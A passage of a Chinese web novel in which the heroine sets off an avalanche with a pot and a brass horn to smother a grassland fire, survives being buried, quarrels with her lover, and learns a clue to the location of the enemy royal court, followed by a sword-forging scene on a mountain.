按照洛疆人代代相传下来的法子,他们要在部落四周挖一条宽宽的雪沟,将火势阻挡在沟外,用雪墙充作防御。
这和云琛他们挖隔离带灭火的原理是一样的。
但不同的是,草原上有烧不完的草,如果只挖一个雪沟,将整个部落圈起来,而不灭火,那就像将部落放在一个巨大的火炉边上炙烤,烧起来只是早晚的事。
眼下部落里数千座帐篷,数不清的老人、女人和孩子,跑也不跑掉,最后很可能会在帐篷里被活活烧死。
云琛越想越后背发寒,她趁乱将不言拽进帐篷,与霍乾念、叶峮凑在一起。
“不言哥,怎么回事?好端端的怎么会着火?洛疆人最看重草场和林场,借奴隶都要去看草场,怎么会这样?”
不言冻得嘴唇青紫,浑身发抖,也顾不得云琛在场,急忙将冰硬的衣服脱下来,叶峮帮着他擦洗换衣。
不言没有立即回答云琛的问题,隔了一会儿才低声道:
“我帮老查布看草场的时候,碰见了七八个人,都是北伐军的逃亡将士。我偷偷给了他们些吃食,让他们躲起来等狮威军的信号,到时候一块去攻打王庭,谁知道他们钻进林子里生火,然后就......”
叶峮眉头紧皱,“唉,估计是太冷了,不生火熬不过晚上啊,不怪他们。”
耳听得帐篷外的嘈杂声越来越大,霍乾念略一思忖,说道:
“火已经起了,不要再想那些。王庭一定不会放任不管,绝对会派人来灭火。火势越大,他们来的越快。现在部落的男人都去灭火,如果火势靠近,女人和孩子也会上去帮忙。整个部落就只剩被关在马棚里的奴隶。”
叶峮立即领会到霍乾念的意思:“我趁乱去解救所有北伐军的将士们,让他们趁这个机会赶紧逃!”
不言已经换好衣服,擦去一脸黑灰,“我和叶哥一起去,完事儿咱俩也逃,才更可信。我们找个离部落不近不远的地方藏着,等打听到王庭所在,随时出发!”
不只救人,霍乾念还想去治安官的帐子里摸一圈。
洛疆的部落总在迁徙,但为了防止几个部落看上同一片草场,为争夺草场打架,部落的迁徙都要得到王庭的批准,一定有王令和公文之类的。
他想去治安官那里找找看,也许能得到关于王庭地址的线索。
至于云琛,奴隶们对洛疆人充满仇恨,不可能帮着洛疆人去灭火,但云琛不一样。
她如今住在老阿奶这里,又和洛疆人慢慢打成一片,她必然要同去灭火。
想起她曾经被火烧得满背重伤的样子,霍乾念心里颇有阴影,不放心地嘱咐:
“琛儿,万万小心,不要冲动。我去治安官那里看看就回来。不论发生何事,你都不要孤身犯险,最坏也能抢马逃走,听话,听到没有?”
云琛重重点头,心里想的却是该用什么才能一口气扑灭这场草原大火呢?
只挖雪沟一定不行,她不能让老阿奶和多吉被烧死在这里。
他们才刚刚拥有一个新帐篷,她想替老阿奶和多吉守住它。
四人分工既定,便各自奔去。
云琛扛起马铲,准备跟上挖雪沟的队伍。
这时,多吉从帐篷里跑了出来,腰间别着一把火钳,竟一副要和云琛同去的样子。
云琛严肃地呵止他:“多吉不去!老阿奶心脏不好,
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多吉守着老阿奶!乖!”
多吉这些日子和云琛混得久,已经能听懂几句楠国话,他着急得直跺脚:
“多吉是男人!也帮忙!也帮忙!”
云琛明白他的意思,无奈笑笑,然后俯下身,平视着多吉,无比郑重地告诉他:
“冲锋陷阵不算本事,保护家人才是真男人!”
多吉的眼睛骤然睁大,瞳孔迸发出亮光。
“云哥哥!我知道了!”多吉重重点头,后退一步,对云琛说:“哥哥!我等你回来!”
云琛摸摸多吉的头,转身朝队伍跑去。
如云琛预料的一样,远处的火势已经熊熊而起,几乎要烧到天上去。
火线跟着草原一样无穷无尽,蔓延得看不到尽头。
洛疆人正在拼命地挖雪沟。可前几日才刮过寒流,这会雪地坚硬得跟石头一样,很难挖动。
一群壮实的大男人挖了半天,才挖出浅浅一条小沟来。
云琛眯眼瞧了瞧,照火势烧过来的速度估算,挖雪沟根本来不及。
她把想法说给治安官,后者正将马铲挥舞得几乎要晃出残影,他抹了把头上的汗,气喘吁吁道:
“云兄弟,你也许对,可不挖怎么办?大家一辈子的东西都在帐篷里,舍不得丢下跑。就算跑,人跑不过火,还是死。”
治安官说完立马继续挥铲,一刻也不敢停歇。
云琛知道治安官没有说虚话。
看着火势越来越靠近,她急得满脑门子汗,不自觉在地上来回踢打,将硬硬的雪块踢出飞沫,随风扑在她脸上。
她一下停住动作,环顾四周,目光缓缓落定在不远处——
那圆滚滚的雪山上。
一个无比疯狂的法子正从她心里冒出来,比那熊熊大火还要令人恐惧。
第351章 雪崩(上)
水能灭火,雪也可以。
枯草上的雪面阻挡不了火势蔓延,甚至微弱到减缓火势都不能。
但雪崩可以。
云琛将目光锁定在不远处的小雪山上,她快速计算骑马奔过去的时间,和火势烧到这里的时间,应该来得及。
她将办法和治安官一说,转头就往回跑,不顾治安官如何在背后震惊大叫。
她跑回部落,正见女人、老人和孩子们成群结队出来,拿着锅碗瓢盆想去帮忙的样子。老阿奶和多吉也在其中。
云琛迎面与他们碰上,从她的角度看去,可以看见人群之后,叶峮和不言的身影正如猫头鹰一般,灵巧无声地穿梭在各个马棚间,解救被关押的北伐军将士们。
霍乾念不见身影,应该是去治安官的帐篷找公文书信了。
可倾巢之下焉有完卵?
一旦大火烧到这里,北伐军的将士们也得一同等死。
顾不得和叶峮不言解释,云琛一边用作护卫时放弃行动的暗语大喊:“弃船!弃船!!”一边飞快地攀上部落中央的高旗杆。
她顺着旗杆爬上顶端,摘下上面挂着的大铜喇叭。
部落很大,若有事务,不好挨家挨户通知,治安官就会来到部落中央,轻敲铜喇叭,用来表示集合。
她将铜喇叭背起,翻身骑上一匹马,而后跑回老阿奶身边,请老阿奶翻译一下,她需要一口最大最结实的锅。
老阿奶不知道云琛要干什么,但还是赶紧替她说话,蒙克的妻子立即捧上一口漆黑的大锅,用洛疆语对云琛道:
“这是炖羊肉的锅,我家用了十几年,好得很!”
云琛拿过锅,再次背在身上,目光四处搜寻,落定在多吉腰间的火钳上。
说了声“多吉!借我用用!”她一把抽出火钳,然后立即掉转马头,朝挖雪队的方向跑去。
治安官和其他男人们团团围住云琛,拦在马头前,试图劝说她不要去送死,可她已根本听不进去。
她对治安官道:
“雪崩应该够灭火,但场面控制不了,估计雪浪会扑到这里,你赶紧叫所有人回帐子!用最坚硬的东西撑住篷顶,千万不要出来!”
在洛疆人们悲伤又焦急的劝说中,云琛拉紧缰绳,义无反顾地朝雪山飞奔而去。
跑出去一段距离,她模糊听到身后有个声音在喊她。
她回头望去,竟然是多吉。
他瘦小的身子在雪原上奔跑,追着她的马哭喊:
“云哥哥!回来!回来!!”
他已从大人们的嘴里知道云琛要去干什么,他拼命地追赶云琛,想要阻止她**式的行为。
云琛驾马不停,挥手示意多吉回去。
多吉不肯,仍然追着马跑,却被身后赶来的蒙克一把抓起,扛在肩头上。
多吉不停地挣扎,嘶喊着云琛的名字。
云琛没有再回头,更加用力地抽动马鞭。
雪山看起来很近,跑起来还是需要些时辰。
云琛没命地跑着,天空已一片红彤彤,看不出是火光还是朝阳。
大火很快烧到云琛跟前,滚滚热量灼得她头发都快要烧起来,她只得偏转路线,一边避开火头,一边继续前行。
终于,赶在大火前一步,她来到雪山脚下。
到了这么近距离她才发现,从部落看去的小雪山,其实相当庞大,比整个部落的占地面积还要大。
雪量远远超出她先前的估计,一旦雪崩,只怕方圆百里都要夷为平地。
可眼下情势紧迫,没有更好的办法,她只能两腿夹紧马肚子,跨站在马上。
她一边驾马绕山小跑,一边将铜喇叭架在肩膀上,用铜锅紧贴喇叭小口,开始拿铁钳用力敲击。
但凡行过雪山的都知道,有时只需几声呐喊,两串炮仗,就能引起大雪分崩。
故而狮威军翻雪山时都特别注意安静,队伍里交流都尽量用手势,连话都很少说。
眼下云琛这铁锅铁钳加大铜喇叭的组合,无疑威力十足。
像一只聒噪的虫子在巨人耳边不停上蹿下跳,试
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图吵醒这巨人。
这么奔跑了两个来回,令云琛意外的是,雪山竟然纹丝不动,一点要崩的迹象都没有。
她只得在铁锅咣咣作响时又加上呐喊声,甚至用的都不是蛮力,而行周身之炁发声。
又这么两个来回,大火都快烧到眉毛了,雪山还是不动弹。
云琛禁不住心里发慌:
这下惨了,吹牛来引雪崩救人,结果自己第一个葬身火海不说,还要连累整个部落!
还不如让他们挖雪沟呢!说不定还能多活几个!
就在云琛急得团团转的时候,突然,她好像看见山头矮了一下。
像是整个往地上蹲了一下似的,雪白的山体没有如意料中裂开缝隙,而是像城墙倾倒一般,整面巨大无比的雪墙缓缓从山体剥离,开始轰然坠落。
沉睡的“巨人”终于被吵醒,开始伸起一个地动山摇的懒腰。
云琛呆若木鸡:
“完了,劲使大了。”
难怪雪山半天都没动静,原来是整个在崩塌脱落,导致她看不出来而已。
她拍拍马脖子,说了句“兄弟,你是洛疆马,也不想和我这个外乡人死在一起吧?”而后呲牙咧嘴地调转马头,狠抽马鞭,疯狂向部落方向逃去。
马儿狂奔,她不敢扭头去看,只能用耳朵听见身后像有万马奔腾,在夺命追赶。
百丈高的雪浪压过大火,将刚刚亮起的天空再次遮蔽成黑暗。
感觉到头顶光线越来越暗,前方的路面逐渐升起巨物阴影,云琛恐惧到了极点,将马屁股抽得全是血,忍不住发疯似的大喊起来。
下一瞬,当阴影笼罩大地,石头似的雪块劈头盖脸砸下来,她意识到:
完了,阎王爷点名来了。
像是被万斤重的铁板狠狠拍在后背,她连人带马横飞出去,瞬间被裹进大雪洪流中。
她抓住最后的机会深吸一口气,用力抱头蜷缩,想要闭气躲过这一劫,却不料被千万斤的大雪埋压住,浑身剧痛钻心,彻底失去意识。
第352章 雪崩(下)
另一边,云琛策马奔向雪山后,部落的洛疆人们三三两两聚在一起。
大火已经烧到离部落很近的地方,近到老阿奶和多吉紧紧抱在一起,已可以感觉到灼面的温度。
人们焦急地踮起脚,张望向雪山的方向。
很快,雪山崩塌。
因为隔得太远的缘故,人们听不见声音,像是有人用大手捂**所有人的耳朵,只能在死寂中看见白茫茫的洪流倾泻而下。
治安官大吼一声,推搡着人们回帐篷。
人群惊叫着散开,只有三道身影宛如离弦之箭,向着与众人相反的方向迸射出。
霍乾念在前,叶峮和不言在后。
三人冲着雪崩轰来的方向,不顾一切地驾马狂奔。
雪洪轰隆隆咆哮冲来,眨眼就冲到三人面前,将马匹吞没。
好在雪势到这里已缓和许多,淹过来只有几丈高。
三人摔下马,迅速从雪中挣扎跳出,继续向前跨跑,大喊着云琛的名字。
可草原实在太大了,千万万斤的雪混合着石头、草木,将一切深深埋覆。
无穷无尽的白茫茫让霍乾念感到绝望,他用变形的声音凄厉大喊,得不到一丝回应。
随着时间一点点流逝,三个人越来越崩溃,开始胡乱在雪上刨洞,期盼着老天爷大发慈悲,让他们碰中这千万分之一的机会。
可无论怎么挖、挖多深、朝东南西北任何一个方向,全都是徒劳。
他们根本不知道云琛最后在哪里被雪洪冲倒,可能被冲到哪里,宛如大海捞针。
要换做平时,若被埋的不是云琛,叶峮和不言肯定已经停下动作,放弃不挖了。
因为从雪崩开始到现在,时间已经远远超过一刻钟。
没人能在雪下闭气这么久。
可因为被埋的是云琛,三人谁也舍不得放弃。
叶峮和不言想,就算是尸首,他们也要挖出来,带回去。
霍乾念则陷入一种癫狂,他的脸比雪还要惨白,浓黑的眼睛瞪着一切,除了不停地刨雪,刨到十指出血,其他什么也不理会。
漫长的时间逐渐过去。
当朝霞开始照耀天空,令雪原泛出冷冰冰的光泽,部落的洛疆人陆陆续续扛着雪铲跑了过来。
雪崩阻止了大火,也压垮了部落的帐篷。
好在部落已经处在雪崩范围的边缘,一人高的雪洪而已,对高大的洛疆人来说不算事。
男女老少们迅速集结在一起,好几个人还把家里的狗带来了。
在治安官的指挥下,人们各自分散,有序地分片区开挖。
人们用比挖雪沟还要勇猛一百倍的力气开挖着,挖了两下,治安官察觉不对,大喊了一句洛疆话,所有人立刻扔下雪铲,开始徒手开挖,防止锋利的雪铲有可能伤到云琛。
多吉也在挖雪的人群中,他一边哭,一边挖,每挖开一个空空的雪洞,他都要朝远方使劲招手,心碎地看着还在朝这里奔跑的老阿奶。
老阿奶跑两步,歇一歇,再跑两步,再歇一歇。
她年纪实在大了,经不住这样大火雪崩的折腾,可她就是想来看一看,那个笑起来跟雪一样纯白的孩子是否还活着。
突然,一条狗汪汪大叫起来,开始用爪子
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扒雪层。
所有人愣了一下,随即蜂拥向狗刨的地方冲去,七手八脚地挖起来。
霍乾念并不知道发生了什么,他只是看见所有人都在朝一个地方跑,直觉告诉他也往那跑就对了。
“琛儿......”
霍乾用颤抖的声音念着,用力扒开人群,冲到最前面。
一个浑身是雪的“人形”已被挖出来,腿上被树枝扎破的地方,鲜血全部凝结成嫣红的硬块,头部像是被压扁了似的,裹在一大团杂草和雪块里,黑乎乎的,看不清脸。
治安官拍去“人形”身上的雪,露出所有人都熟悉的楠国靴子,很小一只,刚刚一拃那么长。
没人欢呼,没人敢去摸云琛那团看起来发黑发扁的……头。
只有霍乾念深一脚浅一脚,连滚带爬地上前,与叶峮和不言互相搀扶着,才能迈开发软的四肢。
霍乾念跪在云琛身边,胸口剧烈起伏,像窒息一样恐惧地喘息。
他抬起十指破裂的手,轻轻摸向云琛凉透的身体,再颤抖地伸向她的头,探进那一大团黑扁的雪块中,摸到一块冷硬的、像头骨一样的东西。
一瞬间如坠冰窟,他猛地抽回手,眼前开始发黑发晕,几乎要厥过去。
这时,多吉哭着跑了过来。
他才不管三七二十一,直接一把打掉云琛头部的雪块——
露出一口倒扣的漆黑大铁锅。
在所有人还没有反应过来的时候,多吉倒吸凉气,甩甩生疼的手,用力掀开铁锅——
云琛那白白净净的脸庞,均匀呼吸着,出现在众人的眼前。
第353章 一窍不通
蒙克家的铁锅救了云琛一命。
雪洪将她深深埋住时,铁锅恰好倒扣在她头上,保留了可以呼吸的空隙。
云琛并不知自己如何幸运地躲过一劫,昏睡了半日后,她从帐篷里醒来。
隔着帐帘的缝隙,她看见洛疆人站在雪崩后已成废墟的家园上载歌载舞。
为首的正是蒙克,头上顶着一口大铁锅,跳着有点憨的舞步,神情无比骄傲。
她一头雾水地看着,不知道洛疆人在进行什么神秘的仪式。
“蒙克家的锅确实挺结实,我那么敲,雪都崩了,锅还没漏。”
云琛说完,旁边的霍乾念没有作声。
要照从前,她从危险昏迷中醒来,他第一反应就是冲上来抱住她,心疼,痛惜,自责,懊悔。
必要花式百出地疼爱和缠绵一番。
可这一次他竟没有。
他只是袖子挽得老高,残留着血污的手里,拿着块尚有余温的麻布,颓废地坐在一旁。
“咣当”一声,他将脚边两个凉透的木盆狠狠踢出去,直挺挺地站起来,肩膀绷得笔直,用一种她从未见过的眼神瞪着她。
她被那声音和动作吓了一跳,下意识蜷起身子,往后缩了一下,同时扯得腿伤发疼,忍不住轻轻“哎呀”一声。
这令他所有怒火瞬间熄灭,转而化为直冲脑门的酸苦。
他红着眼圈,哑着声音质问她:
“为什么要这样?云琛,为什么?”
她第一反应是环顾帐篷,再次确定帐内只有他们两个人,第二反应则是看向帐篷外面。
在看到守帐篷的是叶峮和不言后,她才挠挠头,歉意地说:
“我知道我太鲁莽了,可情况实在紧急,没有更好的法子,没来得及同你商量,是我不对,下次......”
“没有下次!”他拔高声音打断她的话,脸上是前所未有的委屈和愤怒。
他的声音虽大,却带着无法忽视的哽咽变形:
“你总是这样!永远这样!将别人的性命放在第一位!将自己放在最后!那我呢?你又把我放在哪里?你每次为别人出生入死的时候!有没有想过我?!”
她忌惮地看了眼帐篷外,果然,霍乾念的声音太大,吸引来了老阿奶、多吉和好几个洛疆人来查看,但都被叶峮用各种理由挡回去了。
她赶紧做了个噤声的手势,“这里是洛疆!我们还背负着任务呢,你小点声!”
她从没见过他这样不顾大局任性发火的样子,实在不像他。
看出她哪怕到了这种时候,竟还满心惦记着任务,他发出一声苦笑,咬紧牙关,攥紧拳头,几乎用吼的对她:
“云琛!我霍乾念对你来说,就那么无关紧要吗?但凡你顾及我!就不会深入那种危险!可你从来没有!你眼里只有这该死的大火!这些非亲非故的洛疆人!还有那狗屁都不是的任务!就是没有我!”
“你别胡说!”她不知道该先反驳他哪一句,只能又解释:
“我知道我错了,可火已经烧到眼前了,不用雪崩灭火的话,怎么办呢?”
“火烧到眼前如何?烧死洛疆人又如何?这里多的是马!你第一选择应该是骑马逃走!”
“那草场怎么办?还有老阿奶和多吉,部落里那么多人,怎么逃?”
“那些和你有什么关系?!草场烧就烧了!王庭必定派人来善后!三年之后照样复原长新草!人死就**!那都是他们的命!敌国民众与你何干?!你是他们的什么?”
“阿念!”
她又惊又气地打断他:
“你在胡说什么?给老阿奶建新帐篷的时候,你可不是这么说的!找不到结实的主梁,你来回在雪林找了两个时辰才找来!那时候你可不是这样轻视他们的!”
他彻底崩溃了,懊恼地攥着拳,抵住额头,近乎用哭腔大吼:
“那时候是那时候!可和你比起来的时候!他们不过蝼蚁!而你是我的命!云琛——你是我的命!!”
最后一句话,显然戳到了她的心窝,她怔怔地看着他,望进那双有泪光晃动的眼睛。
她愧疚又心疼,可眼神仍旧满是不解。
他闭上眼睛深呼吸,将眼泪轻轻咽下去,试图缓解几乎要疼碎的胸口,随即狠狠扔下手里的麻布,头也不回地冲出帐篷。
帐帘带起冷风吹进来,云琛坐在榻上裹紧被子,愣愣地望着帐篷顶,神情有点困惑,像是还在消化霍乾念刚才的话。
看看霍乾念愤怒离去的背影,再看看“一窍不通”的云琛,叶峮和不言对视一眼,只能无奈地摇头。
别说云琛了,就是他们在霍乾念身边这么多年,也是第一次见他这样崩溃到失去理智。
因为
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谁也不是他。
谁都无法体会,当对着一望无际的雪海疯狂而徒劳时,那种感觉有多令他绝望。
……
……
雪崩阻止了草原大火,也几乎压垮部落的所有帐篷。
但对部落的人们来说,活着就是万幸。
尽管家园被毁,所有生活物资都被掩埋,人们一夜变得贫困,但整个部落除了云琛,没有一个人受伤。
洛疆人为此感到欢呼,哪怕在知道有好多楠国奴隶趁乱逃跑了,他们也不生气。
甚至还感谢老天爷厚待他们,为此将部落里所有奴隶都放归自由,表示对老天爷的敬意。
就连霍乾念三人都被恢复了“人”的身份,不再是“犬”。
并且对于三人拼死营救云琛这个“奴隶贩子”的反常行为,洛疆人也丝毫不觉得异样。
在他们的认知中,奴隶是没有人格的,豁出命救主人都是应该的。
所以他们认为霍乾念三人的行为非常正常,他们为自己争取到了摆脱“奴隶”身份的机会。
这么一来,又是只有云琛受伤的世界达成了。
不过令她振奋的是,因为部落被毁,必须要重新找地方安置。
治安官已将此事上报,说王庭特批了一块草地作为新部落地址,大约徒步二十天能到。
部落既能与王庭有所联系,这意味着部落里一定有人知道王庭所在。
云琛感觉又离王庭近了一步,更加迫不及待地向周围人试探关于王庭的消息。
这一次,面对这个将自己生死置之度外、救所有人性命于大火的“英雄”,洛疆人不再戒备和隐瞒。
他们从雪崩压垮的帐篷里挖出仅剩的牛车,将满身都是雪压伤痕的云琛安置在上面,用羊皮毯子将她裹了三四层,还安排了多吉在旁边供她使唤。
其他男女老少则随着治安官徒步前进,三两结伴,朝着新部落地址而去。
蒙克在前面赶着牛车,笑呵呵地回头对她说:
“王庭嘛,我们都没去过,听说遍地黄金,河里流的都是美酒,漂亮得很,还有全洛疆最好的看心病的巫医。对了,老阿奶以前在王庭当过侍女,你可以问问老阿奶。”
真是踏破铁鞋无觅处,得来全不费工夫!
寻找王庭的突破口竟然一直近在眼前!
云琛眼睛一亮,感觉有戏。
第354章 生米地
原来老阿奶竟然知道王庭的消息!
云琛赶紧借口老阿奶年纪大了,一瘸一拐地跳下车,将牛车的位置让给老阿奶坐。
老阿奶的确已经走得非常累,气喘吁吁地坐上牛车,捂着心口,半天才缓过来。
但当听说云琛好奇关于王庭的事情时,老阿奶神色一变,竟意外地没有回答,只是一个劲儿地摇头:
“楠国不能知道王庭的,不能。”
蒙克哈哈大笑,用洛疆语对老阿奶说:
“那是防着别的楠国人,不是防云兄弟!而且只是说说王庭的趣事,又不说在哪,要什么紧!老阿奶,王庭被屠已经是几十年前的事情了,不会再发生了,放心吧!”
老阿奶还是一个劲儿地摇头,嘴里嘀咕着云琛听不懂的洛疆语,神色忽然变得晦暗又恐惧,像是陷入了什么极其可怕的回忆。
云琛悄悄将多吉拉过来,叫他翻译一下老阿奶在说什么。
多吉伸着耳朵听了半天,只说出“好多血”“号角”和“打仗”几个词。
云琛听得云里雾里,估计都是和楠国前朝屠戮洛疆王庭的陈年旧仇有关。
见老阿奶身体不舒服,她只好暂时作罢,叫老阿奶先休息再说。
反正还要帮部落在新地址建新帐篷,她觉得不着急,有的是机会试探老阿奶。
接下来二十天,行路枯燥无聊,一连下了好几场雪,人们用木棍当作手杖,艰难地在雪地里前行。
云琛的牛车已彻底让给了老阿奶,她换去坐车头。
经过这场大火和雪崩,老阿奶受了很大惊吓,竟有病倒的趋势。
多吉也不再围着云琛转,而是寸步不离地守着老阿奶。
云琛便又将车头的位置让给多吉,方便他看护老阿奶,她则忍着雪崩时受的腿伤,和其他人一样,开始徒步行路。
这一举动更让周围的洛疆人对她充满感激,看向她的眼神满是善意。
霍乾念也朝她看去一眼,脸色依旧黑沉黑沉的,却将手里的木棍丢给了叶峮。
叶峮就跟接了什么烫手的山芋似的,立马又扔给不言。
很快,棍子经过不言,传到了云琛手里。
其实云琛心里也有气,更多是觉得莫名其妙。
这么多年,阎王殿门口进进出出那么多次,她不懂为什么这一次惹霍乾念发那么大火。
但握着手里结实的木棍,知道他是太爱自己、太怕失去的缘故,她心里那点气慢慢消了。
她深一脚浅一脚、费劲地挪到霍乾念身边,歪头瞧瞧他和蒙克家锅底一样黑的脸,讨好地笑道:
“那个......我......那个......”
她不会哄人,不知道该怎么办,半天都说不出一句像样的人话,最后道:
“等到新草场了,还是你去给老阿奶找帐篷主梁吧?阿念。”
不出意外的,霍乾念一声不吭,只是闭了闭眼,腮帮子动了一下,像是在咬后槽牙。
她知道哄得不奏效,摸摸鼻子,又开始瞎绞尽脑汁。
一旁叶峮和不言看得都快急**,使劲用眼神示意她:
“雪地”“倒啊!快倒!”
接受到俩人的信号,云琛难得福至心灵地明白一把,“哎呦”一声,崴倒在地上。
结果她屁股还没挨到雪呢,人已经整个被霍乾念抱了起来。
也不知道他哪来那么大牛劲,直接将她整个人举在空中抡了一圈,改“抱”为“背”,没好气道:
“逞什么强?老实待着!”
她乖乖趴在他宽阔的肩膀上,将头埋进他后颈窝,忍不住笑道:
“知道啦!阿念哥哥!”
某人的脊背明显硬了一下。
叶峮和不言则在一旁如释重负地笑起来,随即作呕吐状,嫌弃地走开好几丈远。
周围其他洛疆人则见怪不怪,毕竟是云琛之前的奴隶嘛,背云琛很正常!
……
……
终于抵达新草场的那一天,所有人都欢呼不已。
因为草场不仅雪薄风暖,周围还有连绵的矮坡和一个结冰的湖。
王庭更是体恤部落受灾,早早送来几百头牛羊,还有帐篷、羊毛毯、锅、柴火、桌椅......各种各样的生活物资。
依山傍水,草长丰茂,物资充足,这简直是部落从前想都不敢想的宜居地。
人们将这功劳归于云琛,热火朝天地搭建完新帐篷之后,第一件事就是杀牛宰羊、篝火起宴,答谢云琛的救命之恩。
只是云琛没想到,这答谢竟然那么猛,差点要去她半条命。
因为洛疆人答谢恩人的方式没有别的,就是敬酒。
整个部落男女老少几千人,全都端着辛辣奶白的烈酒,排着队向她走来。
云琛在喝到第六碗的时候就不行了,倒在桌上呼呼大睡。
迷迷糊糊中,她听到蒙克在笑话她,其他洛疆人也都围着她热闹地说笑,每个人上前摸了下她的头顶,以示感激和祝福。
不知醉过去多久,等她从老阿奶的帐篷里醒来的时候,天还是黑的,篝火晚宴还在闹哄哄地进行着。
帐篷里,柴火烧得旺盛,老阿奶躺在另一边的土榻上,正抱着多吉讲故事。
云琛摸摸身上老阿奶为她缝制的新羊皮袄,轻手轻脚地起身
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下榻。
她不想打扰这祖孙二人,尤其老阿奶最近脸色越来越不好,总是捂着胸口说很痛。
眼下不是去试探什么王庭的时候,她只想把迎接新家园的喜悦好好留给他们。
她独自一人来到帐篷外,走到远离篝火的地方坐下。
望着满天繁星,听着远处洛疆人的歌声笑声,她也不自觉笑起来,感觉心胸都和这草原的天地一样舒坦。
想起霍乾念还没有被她哄好,他十个手指上还有伤呢,她琢磨溜去找他,刚转身要走,却有一个声音从后叫住她:
“云哥哥!”
云琛回过身,多吉一把扑进她怀里,仰起布满雀斑的小脸,傻傻笑起来,邀功似的说:
“我把阿奶哄睡了。”
“哈哈......”云琛摸摸他的头,“好多吉,男子汉长大了嘛!”
得了表扬,多吉兴奋的两个脸蛋红扑扑的,“谢谢你,云哥哥,是你救了我们,救了阿奶。”
云琛笑笑不说话,紧接着,多吉下一句话,瞬间叫她整颗心都提了起来——
“云哥哥,我知道王庭在哪!我悄悄告诉你,你不许告诉别人!你答应我,带阿奶去王庭看最好的巫医,给阿奶治病!”
云琛愣了一下,想都没想就答应下来。
此时此刻,她所有注意力只有“王庭”两个字!
多吉随即靠近她的耳边,一字一句地说道:
“生米地。”
见云琛一脸不解,多吉有点着急,匆匆跑去篝火宴会上拿了些什么,又蹦蹦跳跳地跑回来。
他将一碗凉透的米饭塞进云琛手里,再次打手势重复:
“生米地!阿奶的梦话!生米地!”
多吉是从老阿奶的梦话中听到了王庭的地址。
可生米地是什么?
看着手里的米饭,云琛深深陷入沉思。
米是楠国最常见的主食,但对于贫瘠寒冷的北方来说,土地几乎种不了稻子,大米是只有王庭才吃得起的珍贵东西。
这次因为部落受灾,王庭送了些大米以示安抚。
部落里的人们一口也舍不得吃,只单独给云琛做了一碗。
只可惜洛疆人不会蒸米饭,做出来的大米还是夹生的。
云琛捻起一小撮米饭放进嘴里,细细地咀嚼、品尝,脑中越来越清明。
多吉并不知道发生了什么,他只看见那和善温柔的云哥哥,突然变得沉默不语,接着缓缓站起身,高挑的身姿在雪地上投下鬼魅般的阴影。
像是一瞬间从“洁白的小羊”变成了“嗜血的黑狼”。
多吉愣愣地望着云琛,忍不住打了个寒颤。
第355章 巧了,我也是
草原上的篝火熊熊不息,与此同时,白头山灯庙里,铸剑炉的火苗渐渐微弱。
老者和霍阾玉站在火炉边,静静等待剑成的最后一刻。
“不成,还缺点东西。”老者摇摇头,四顾一圈,最后将目光落在霍阾玉身上,有些狡黠地笑道:
“小妮子,你知道铸剑最后一步、也是最要紧的一步是什么吗?”
霍阾玉表示不知。老者笑道:
“这承郢从前铸成问世时,最后融了一条通天黑**在其中,才使得剑成有魂,也是剑奇重无比、非修炁之人无法拿动的原因。如今这剑已破**魂,新剑需新魂,所以还差点东西。”
这下霍阾玉听明白了。
早就听说古代有名的宝剑,铸成之时都需要剑师以身殉剑,没想到竟然是真的。
霍阾玉的脸白了一瞬,但仅仅只是短短一瞬。
接着,没有任何犹豫,她跳上铸剑台,提起裙摆就往炉子里跳。
老者吓得头发差点竖起来,也顾不得什么礼节,赶紧冲上去将人拦抱下来,惊叫:
“老头子我开玩笑的!开玩笑的!”
二人双双摔倒在地上。老者余惊未消,倒在地上捶胸顿足:
“天下怎么有你这样的人,眼睛都不眨一下就**?哎呦,吓掉我半条老命!”
霍阾玉却没什么反应,望着淬火的剑,低声道:
“是了,我那么脏,怎配她的剑。”
老者已亲眼见到三十天来,霍阾玉是如何一刻不松懈地守着铸剑炉,若非爱之深,怎会用心至此。
他从地上爬起来,拍拍衣服上的土,揣着袖子站到炉旁,语气轻快道:
“世间何为‘洁’,何为‘脏’?人们总是执着于沐浴得干净,穿着打扮得干净,却不过一块渐渐腐朽的丑布裹着肮脏脓汁。只有灵魂洁白,才是真的干净。”
霍阾玉轻轻抚上胸口,像是在问“我的灵魂干净吗?”
老者笑笑,将一把**递给她:
“所谓殉剑,其实是再好的利刃熔铸之时,都有眼睛看不见的细微裂缝在其中,需要油脂将其填满包裹,方可无坚不摧。这剑只重铸了剑柄和剑身部分,要的不多,你的头发正好。长发绾‘君’心,是个吉祥念头在里面。”
霍阾玉很惊讶,没想到老者竟洞悉她对云琛的心意,并且没有一丝鄙夷在其中。
长发绾“君”心。
也好,纵使做不到与云琛长相守,也能让这与生俱来、从未削过一寸的秀发,这一头如思念般浓密的青丝陪着她,祝她战胜四方吧!
霍阾玉将如墨的长发解下来,只留下短短的齐颈部分,剩下的用**割断,全部抛进铸剑炉。
头发很快烧着,燃出耀眼的火光,融化进剑中。
霍阾玉突然有一种感觉:她从未感觉离云琛如此之亲近。
这种突如其来的亲密感让她欣喜又惶恐,感觉铸剑炉的温度越来越高,几乎灼得她无法呼吸。
匆忙说了句“我去透透气”,霍阾玉转身跑出灯庙,深吸了好几口冷气,才让自己慢慢平复下来。
打量四周,云琛四人离去时,灯庙前的空地上尚且只有白雪。
如今三十日过去,地上已垒满漆黑方正的铁箱子,全部是山寂派无义血卫送来的。
霍乾念说,剑铸成之后,要委托最信得过的人护送霍阾玉远离战场。
这“最信得过的人”便是山寂。
而山寂自从收到委托信之后,便每日都会派无义血卫提着五六个铁箱子,不辞辛苦地攀上雪山。
无义血卫纵使轻功卓绝,爬上来时也是累得气喘吁吁,什么也不说,只将铁箱子放在霍阾玉面前,而后便纵身一跃,再次下山而去。
一连二十九日,一日不落。
一百七十三个铁箱,一个不少。
一开始,霍阾玉觉得很恐怖,她猜到那箱子里是什么。
虽然雪将东西裹得极严实,再加上天气寒冷,冻得梆硬,并没有血渗出来,但她还是不敢靠近。
后来,当夜里不再无止尽地做那难堪的噩梦,她突然又觉得畅快。
她忍不住以树枝作剑,放肆挥舞,每日都要对着空气**几百次,直到大汗淋漓,才守着铸剑炉沉沉睡去,一夜无梦到天明。
昨日已是最后的铁箱,不知为何,她没有一丝大仇得报的高兴,反而从心底感到空虚。
望着眼前垒得小山一样高的铁箱子,霍阾玉的眼神逐渐聚起恨意。
她还是想亲手杀一个黑鳞骑兵。
只杀一个,不为她自己,为花绝。
她想得太过入神,并未注意到老者已从灯庙走出来。
看到霍阾玉眼神中那格格不入的杀气,就像这放置在白雪地上的黑铁箱一样突兀,老者愣了一下,随即将剑插在她眼前的雪地上,打断了她的思绪。
